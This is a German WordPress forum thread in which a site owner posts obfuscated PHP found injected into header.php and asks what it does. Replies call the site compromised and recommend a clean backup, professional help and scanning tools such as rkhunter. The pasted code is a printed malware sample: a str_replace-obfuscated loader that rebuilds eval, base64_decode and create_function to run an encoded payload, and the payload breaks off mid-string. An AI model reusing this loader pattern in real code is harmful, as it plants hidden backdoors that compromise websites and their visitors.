Verdächtigen Code entdeckt

  • Hallo zusammen,

    ich habe eben in meinem Wordpress Blog Code entdeckt, der u.a. in der header.php und ein paar anderen Dateien zu finden war, gleich zu beginn der Dateien auftrat, und mit dem ich absolut nichts anfangen kann. Hab ihn vorsichtshalber entfernt und der Blog scheint weiterhin normal zu funktionieren.

    Kann jemand was damit anfangen? (der komplette Code ist knapp 30000 Zeichen lang.)

    Gruß

    PHP
    <?php           function  HWhpQC7jr0FPitiyLSRb0ujYl($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T){return str_replace($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T);} function  L2vxsXDqsKszhMi71FDXWU($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T){return str_replace($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T);} function  yq5nbyp3uS($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T){return str_replace($H9AcSAY0QFs,$UKEkpNDycegTf7doVo,$Wntg6T);} $fqcaEf = 'bGzRISrepKHIbaeaGzRISrepKHIbaesGzRISrepKHIbaeeGzRISrepKHIbae6GzRISrepKHIbae4GzRISrepKHIbae_GzRISrepKHIbaedGzRISrepKHIbaeeGzRISrepKHIbaecGzRISrepKHIbaeoGzRISrepKHIbaedGzRISrepKHIbaee'; $fqcaEf = yq5nbyp3uS('GzRISrepKHIbae','',$fqcaEf); $voT7Whank7QwB = 'cbrKt4OPS4U86VDrbrKt4OPS4U86VDebrKt4OPS4U86VDabrKt4OPS4U86VDtbrKt4OPS4U86VDebrKt4OPS4U86VD_brKt4OPS4U86VDfbrKt4OPS4U86VDubrKt4OPS4U86VDnbrKt4OPS4U86VDcbrKt4OPS4U86VDtbrKt4OPS4U86VDibrKt4OPS4U86VDobrKt4OPS4U86VDn'; $voT7Whank7QwB = yq5nbyp3uS('brKt4OPS4U86VD','',$voT7Whank7QwB); $WElkSCX = 'X6CJEk1IzCf7EgchHuS0oxGeX6CJEk1IzCf7EgchHuS0oxGvX6CJEk1IzCf7EgchHuS0oxGaX6CJEk1IzCf7EgchHuS0oxGl'; $WElkSCX = yq5nbyp3uS('X6CJEk1IzCf7EgchHuS0oxG','',$WElkSCX); $Adg8uKfsJ = '$ZVqkUqEh8'; $mtDtADGLAn72MewX = $voT7Whank7QwB($Adg8uKfsJ,$WElkSCX.'('.$fqcaEf.'('.$Adg8uKfsJ.'));'); $mtDtADGLAn72MewX('ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBFWWxaYU5Wa3lNRFZsVm1kNlUyMTRhbEo2YkRWYVJXUnpaRlp3TlZvelpFeFdTRTVNVVRJeGMySlZiRVJhTW1oaFlteGFNVmRVVGxOalIwbDVUbGRhWVZkSGFIZFplazVUWld0MFJGTnRSbFZXUmxwNFZGYzFSbVF5VFhsaFJ6RlpUVEJLZDFreU1EVmliVWw1WXpKc1RGVXlkek5STWpGaFRWZEtkRlJxUW1oV2Vtd3hVMVZhZDFSck5WaGlNMnhxVmtWS05sbFZaR0ZhYlU1SVlraHNhVTF0VWpKWldHeHVZMGRXTTJOSWJHRlhSa2w0V1RJd01Gb3hjSFJTYms1cVRXeFZNMUV5TkhkVE1FNTBZa2N4U2xFeVpHOVhiVFZYWkZacmVsVnVRbWxOYWxadFYyeG9iMk5IVFhwVmJuQk1VVEJ3VjFsdE1EVmFiSEJJVm0xd2FVMXNTbk5UVjJ4eVkwZFdNMk5ITVd0V2VsWnhXa1ZrYzJSdFNuQlJiRnBwWWxSc2JWZHJaRmRoYlVsNVZXMTRURkV4U2xWYVJXaExZMGRLZEZrelFrUmliazVNVTFWT1Fsb3diRVJWYkZKclUwVndkMWx0TVdwYU1VSlVVVzFzV2xkRk5YTlViWEJUV214d1NGWnRjR2xOYkVwelV6Qk9VMVpIVWtsVGJrSnBZbGRPZDFRelpIWmFNR3hFVVZka1MxSnJOVzlaYTJoU1QxVnNkRlZ0Y0U5WFJVVXhWMnRWTldReFJuUlVWMnhRWkRJNWJsTlZUa0phTUhCSFZHcENhbUV6YUhOWmJXeENUMVZzU1ZScVFtcGlXR2h6V1cxc2JtRXhWWHBWYm14b1ZucFdkVk14VW5wVE1HeEVVVmRrU2xFeFNsVlhiR2hHV2pGQ1ZGRlhiRk5TVkVaSFYyMXdWMU5XWkhWV2JFWnFWVEJyTTFFeWJFSmFNR3hFVVZkMFUwMXJXakJaYkdSR1dqRkNWRkZYYkVwaGJrNU1VMVZPUWxvd2JFbGFSemxvVmpOb2MxTlZUbTlsYlZKSlUyNU9ZVlo2VW5aVGExWnJZVWRLV0UxWGFFeFdTR1J5VmxST1UyVldVa2hXYmxaTVZWYzVibE5WVGtKYU1sWXpZakprU2xFd1JtNVRWVTVDV2pCc1JGVnNVbUZYUlZadVZVWk9RMlF4YkZoVWJrcE1VVEJ3U2xNeWJFcGpNazE1WVVkb1RsVXlaSEpWYWtwSFpFZEtXRkpZVmt0U2F6VnpXVEZOTUdFeFZYbFNiazVyVVRKMGQxUXpaSFphTUd4RVVWZGtTbEV3Um01VFZVNVRVMFpzV0UxWVVscFZlbEUxV1hwT1YyRlhUWHBWYm14TVVURktWVmRzYUVaak1ERkVaSHBTVEZaSVRreFRWVTVDV2pCc1NVMUZkRVJoVlVadVUxVk9RMlZXY0ZsVmFrWnFZbFJTYmxOcldrOU5SMDUwWWtoV1lVMVVVbkpWYWtwSFpFZEtXRkpVWkVSaWFrSk1XbXhHZGxNeVJsaFhWMlJNVVRCYWRGcEdZekZoYlZKSVlraGFhV0pFYkhOYVZXUnpaVzFTU1ZSWE9VcGlWMUp6V2tWWk5VMUdaM2xWYmtKcVlrUnNNRmRXYUU5bGEyeHdZVE5DYkdRelFuUmFSbU14WVcxU1NHSklXbWxoVlVwMVYyeG9VMXB0VWtkUFYzUm9WMFZ3YlZsc1pFZGxiVTQxV2pOQ1NsTklUa3hSTWpGellsVnNSR0ZITVd0V2VsWnhXa1ZrYzJSdFNuTlBWM2hzVWpKNE5scEZhRTVpTUd4MVZHcFdhazFVYkhWWGJHaFRXbTFTU0ZadVVtcFNhbXh5V1Zab1NtRlZkRlJoTW1Sc1pESTVibE5WVGtKYU1rWllWMWRrVEZKVlNuZFpla1UxVFRKT2RHSkVRbUZXTUZwd1dXdGtWbUl5VFhwaVNIQlpUVzFTYzFwRldUVk5SbkJZVFZoa1dVMXNTbmRaTW14dVkwVjBWR0V5Wkd4bFZVWnlXVEl4VjJWc1kzaE5SMlJSVlRCS05WZHNaRWRqTWs1SVVtcENhRkV5YURaYVZtaFBXbXh2ZVZacVFsbE5NVXB6V1d4b1ExcHNjRWhpU0d4TVVUSjBkMVF6YkVOUFZVNTFUVVYwU2xFd1JtNVRWV1J6WWxWc1JGb3lhR0ZXZWtZeldrVm9jbUl3Y0VkUFZWcFZZa1p3YVZOWGVGTlViRlpFVTIxU1RGVXdSblJUYld4RFVWZEdXVlJ0V210Tk1IQjNXa1ZrVjJGR2JIUmxSM2hNVTBWd2MxZFdaRFJrTVd4WlZXMDVURkV4U20xVmJGVXhWakZrTlZOc1ZsVldhMFp3VjBaT2NtTkZkRlJSYW1SS1VURktOVmRzYUU5WmJHaFVVVlJzU2xORmNITlhWbVEwWkRGc1dWVnRPVXhSTVVwdFZXeFZNVll4WkRWVGJGWlZWbXRHY0ZkR1RuSk9NR3hKVFVWMFNsRXdSbTVUVldSellsVnNSRm95YUdGV2VrWXpXa1ZvY21Jd2NFZFBWVnBWWWtad2FWTlhlRk5VYkZaR1ZXdHdWbUZWY0d0VE1VNUNZbFZ3Y0ZGclJtaFhSVFZ0V2tST1MyTkhVa2hXYldoYVlsaG9jMU13YUV0aVJteFlaVWhrV2xkR1NuWlRNRTVUV214S1ZrNVdaRmhsVlhCV1ZrWmFRMUpXVGxkVFYyeFpWVEowZDFNeFRrTk9NR3hFVlc1c1lWZEZOV2xYUms1Q1QxVnNTVk50ZUZwV00yZ3pWMVpvVTJJd2RFUlJWM1JaVFVaYVVGWnRlSHBoVmxwR1RWWkdVMUpYZUZSVFYzZDNZMFU1TlZGcWJFUmhWVVp1VTFWT1EyTkdjSEJSVnpsS1ZqRmFNRmt3YUZOT1ZYUkVWVzFhVTFaVVZsaFdNMnhMVmxaS1ZrMVdSa3BpUkVKM1UxVk9XbUpWYkVaUmJrSnFUVlJyZWxreU1YTk5SbkJZVW0xc2FWSXhWblpaTWpGWFlVZEtTVkZ0YUd0U01tUjJVMnRaTlZKc1VuTlhiVXBLWWtaS1IxWkdXa0poVm1oVVlUTkNURlV3U1ROVFZVNVRaVlp3V1ZSdFNsbFZNRVUxVTFWb1MySkdiRmhsU0dSYVYwWktkbE13VGtKaE1XZDNWbXM1VjJKSVRuQldhMVpYVkd4V1JGTnRVa3hXU0U1dVdteEdkbG93YkVSUlYyUkxVMFpLYzFsc2FFTmlWMFpZWlVkNFVWWlZTWGRYYkdONFpESktkRkp1VWt4U2FteHRWVzEwYzFSV1NsZFBWMXBOVVRCc2NGTXhVbnBUTUd4RVVWZGtTbEl5ZUhSVFZVNXZVVlp3ZEdKSVRtRldhbXh6V2xWa2MyVnRVa2xVVnpsTFUwWktjMWxzYUVOaVYwWllaVWQ0VEZVeWRHNWFXR1IyV2pCc1JGRlhaRXBSTUVwQ1drWmpNV015UmxoT1dFcE1VVEZKZDFkc1kzaGtNWEIwWWtoT1lWVXljek5STW14Q1dqQnNSRkZ1UW1GaFZVWjJWVlZrYzJWc1ozcGFTR3hvVjBaS2MxZFdaRXRqTVhCVVlVaHNZVll3V25wWk1HUkhUVWRHUkdGSGRHaFhSWEF4VjFaamVHSkZkRVJWYWtKaFZucEdNMWR0TVhOak1YQlVZVE5DVEZVeWRHNWFXR3hUWlZad1dWUnRTbGxWTUVVMVUxVm9TMkpHYkZobFNHUmFWMFpLZGxNd1pGTmpSMDUwVGxkb2FWWXhWblpUYTJoVFlrZEtXVkZ0TVdoV00yaHpVekZPY2s0d2JFbE5SWFJLVVRCR2JsRXliRUphTUd4RVVXcHNSR0ZWUm01VFZVNURZMFp3Y0ZGWE9WSlNNbmcyVjBST2EyVlhSbGxWYlhoYVZqQndlbGRzVG05bFZuQllVbTVPYWxJd1dYZFpWVTV2VVZkR1dFNVlRbGxOYlZKeldrVk9ibUZYVWxsUmJrNXBUV3RhY2xkRVRsTmtSMDVIVDFkMGFGZEZiSEJUTVU1eVkwVjBWRkZxWkVwUk1VbzFWMnhvVDFsc2FGUlJWR3hLVTBWd2MxZFdaRFJrTVd4WlZXMDVURkpWU25kWmJURnpXbXh2ZVZacVFreFJNRzk0V1RCa05HUnNiRmhWYlZwclVucEdNMWRFU2xOalIwNXdVMWhDVEZaSVRtNWFiRVoyV2pCc1JGRlhaR2hXTVd4dVV6QldRMk5IVFhoUFZFNXFZbGQzZDFkc1pFZGhWMHBJVmxjNWFtSldXbTlaYTJoRFlVZFNTRm95T1dwTmJGbzJXWHBLYzJSdFNuTlBXSEJhVjBad2MxZEVUa05oUjFKSVdqSTVURlV5ZEhkVE1VNURUakJ3U1ZOdGVHcE5XRkpyVTFWUmQxb3lUblJXYldocFUwVktiMXBGWkc1aU1rMTVWbTV3YWsxdGVESlpiWGMxWld4c1dWZHRlRmxOTUVwdldrVmtibUl3ZEZSaGVtUktVMFJDVEZOVlRrSmFNR3hJWWtjeFNsRXlhRUpaVm1oUFdtMVJlbE51UW10U01WcHZWMWN4TkdKRmRFbFRiWGhhVmpOb00xZFdhRk5pTUhSSVZXNUNhbUpVVm05WmJHUldZakZuZUU5VlpGUldXR2hIVjBSRk5HTkZkRlJoTTBKS1UwaE9ibE5yYUV0aVIwMTRaRWRTU2xKRVFtNVpNakZYWVVkS1NWRnRhR3RTTW1SMlYydGtjMlZYU25SU2JsSmhWVEpvYlZkRVFtRlRiRkpHVm0xYVdXVlhkSGRVTTJ4RFQxVk9ibUl5WkVwUk1FWnVXVEl4VjAxSFVsbFRibFpLVWpCYU5Wa3lNVWRPVm1kNlZtNVdhRmRGV1hoWGJFNXVZVEpPZEZadWNFeFdTRTVNV214R2QwOVZUbTVqU0VKaFlWVkdkbE5XWkdGTlYwcDBWR3BDYUZaNmJERlhSRXBYVGtkR1dWUnFRbXBsVjJSd1YycEtWMDFHWjNwV2JXaEtZVmQwZDFwWVpIZGlWMUpZVGxkd2ExSXllREpaYld4RFlteHdXVlZ0V210V01GWjJVekZvZWxNd2NFaE9WMmhwVmpGV2JsVkdUa05pYkhCWlZXMWFhMU5GYjNoWGJGazFaRlpzV0UxWGVFeFJNbk16VVRKa2QySlhTWHBUYlhoYVZqQTFkbE13Wkd0aVIxSkhUMVJDV1Uxc1NuZFpNbmMxWkVac1dWUnVjRXhSTW5SdVYxWm9UbG93Y0VsVldFSnNaRE5DZDFkdGJHOWlWMFpZWlVkNFdVMXNXVEJaVm1oUFRVZE9OVm95ZEd0UmVsWkdWVEZhUzFKc1JYaFZiRUpXWWtkNGJWWlVRbGRWVmtaWFUydEtWMUpVYkZSVVIyeFRaRlpzV0UxWGVFeFZNbmN6VVRJeFlXUnRUblJXYldoYVRXMWtibE13WkdGalIwcElWbGM1UzFOR1JqRlZhMVp6VlRGS1ZsUnNWbFZOVlhCaFYwUkdUMUpzVmtaU2JFNVNWbXhLVVZaWGF6QmhNa3AwVW01U1lWVXlkRzVYVm1oT1dqQndTVlZxUWt4WFNFNU1VMnRvVTAxRmJFVk5SMlJYVm5wV01sZEVTbE5pUm10NVQxZDBZVlV5WkhKYVJXaFNZMFU1TTJOSVFtRmhWMmcyV2tWb1MyUXlTWHBVVnpsTFUwWkpkMVJGVGtwa1ZXeHdZVEprVVZaRVFUVlRWV1JoWVVkS1NWUnRlRXhYU0U1TVUydG9VMlJIVGtSUlZHeEtVakZaTUZrd1pEUmtiSEJJVmxjNVNtSnVaSEJVUlU1VFRVZFNSR0Y2WkVSaVZuQXlXVEl4VjJGR2EzbGFNamxMVTBaS01Ga3dUa05oUjA0MVVWZDBhMVV5ZHpOUk1teFRZMjFLZEU5VVRsaE5WRUp1VlVaT1EwMUhUblJpU0ZKTVVURkplRk14VW5wVE1scFNZMFJzUkdKcVFreGFiRVozVDFWT2RHSkhNVXhTTURVeVdrWmpNVTFGZEVSVmJrcHBZbFJyZWxNeFRrSlBWa0pVVVZoa1RGZElUa3hUYTJRd1pGZEplbHBIU2xsVk1FVTFVMVZPUzJSSFRYbGlSM2hLWVc1T1RGTnJaREJrVjBsNldrZEtXVlV3UlRWVFZVNUxZbGRHV1ZOdGVHRmlWR3N3VTFkd2VsTXdjRWhrU0ZacFRUSlNhVmRHVGtKUFZXeEVVMjAxYVUxcWJIVlphMlJYWVZkSmVsVlhiRkJrTTBFMVVUSTFTMkpIVWtsV2JteHBZVlZLYjFreU5VdGhSMVpYVDFSR2FXSlhlRFJhUm1SV1lqQndTR1JJVm1sTk1rNTNWRE5rZDA5VlRuVk5SWFJFWWxkN
    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren


  • Kann jemand was damit anfangen? (der komplette Code ist knapp 30000 Zeichen lang.)

    Deine WebSite wird vermutlich jetzt Schadecode verteilen - die Vermutung, dass man A L L E Änderungen findet ist kontraproduktiv.

    Du kannst keiner Datei mehr trauen. Und wer Dateien ändern konnte (Datei auf einem fremden Server öffnen und etwas rein schreiben) kann leider auch neue Dateien anlegen und auch neue Verzeichnisse....

    Du kannst _keiner_ Datei mehr trauen auch keinem Datensatz...

    und du musst die Sicherheistlücke suchen und beseitigen. In der Regel benötigt man dafür sehr gute PHP Kentnisse. Wende dich an einen Dienstleister, der dies eben für dich macht.

    Viel Glück

    Ralf

    Mit offenen Augen träumen

  • Vielen Dank für die schnelle Antwort.

    Was der Code in etwa bewirken soll, ist vermutlich schwer zu erahnen, oder?
    Dass der Code von einem Plugin gesetzt wurde ist ausgeschlossen?

  • Vielen Dank für die schnelle Antwort.

    Was der Code in etwa bewirken soll, ist vermutlich schwer zu erahnen, oder?
    Dass der Code von einem Plugin gesetzt wurde ist ausgeschlossen?

    Ausgeschlossen nicht, aber es ist eher unwahrscheinlich, dass ein Entwickler solchen kryptischen Code erzeugt.

  • Dann werd ich mich wohl jetzt noch etwas mit dem Problem auseinandersetzen müssen.

    Oder besser gleich ein sauberes Backup einspielen. Falls es das nicht gibt ist der Weg zum Fachmann das Beste.

    WordPress ist "frei" wie in Freiheit es zu nutzen, aber nicht im Sinne von Freibier. Wer also glaubt man bekommt rund um WordPress alles kostenlos, der irrt. Hilfe ist ein Geschenk für das man sich bedankt, dafür gibt es den 'Gefällt mir' Button. Wer das nicht kann und sich selbst nicht zu helfen weiss, muss sich bezahlte Unterstützung suchen.

  • Gibt es eigentlich nichts, was eine Webseite anständig auf Schadcode überprüft?

    selbstverständlich kann man serverseitig einiges zur _anständigen Schadcode Überprüfung_ machen.

    Ich verwende zum Beispiel auf meinen Servern rkhunter

    rkhunter (Rootkit Hunter) ist ein Linux-Werkzeug, welches nach Rootkits, Hintertüren und möglichen lokalen Exploits sucht. Dabei vergleicht es vorhandene Dateien anhand von MD5-hashes mit kompromittierten Dateien, sucht nach von Rootkits angelegten Ordnern, falschen Dateirechten, versteckten Dateien, verdächtigen Strings in Kernelmodulen und führt eine Reihe weiterer Tests durch.

    https://rootkit.nl/projects/rootkit_hunter.html

    es gibt weitere Tools und man verläßt sich nicht auf ein Tool.

    es gibt auch Backup Lösungen für WordPress, die ein Backup auf Schadcode prüfen.

    hast du die Sicherheitslücke schon gefunden?

    Mit offenen Augen träumen

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!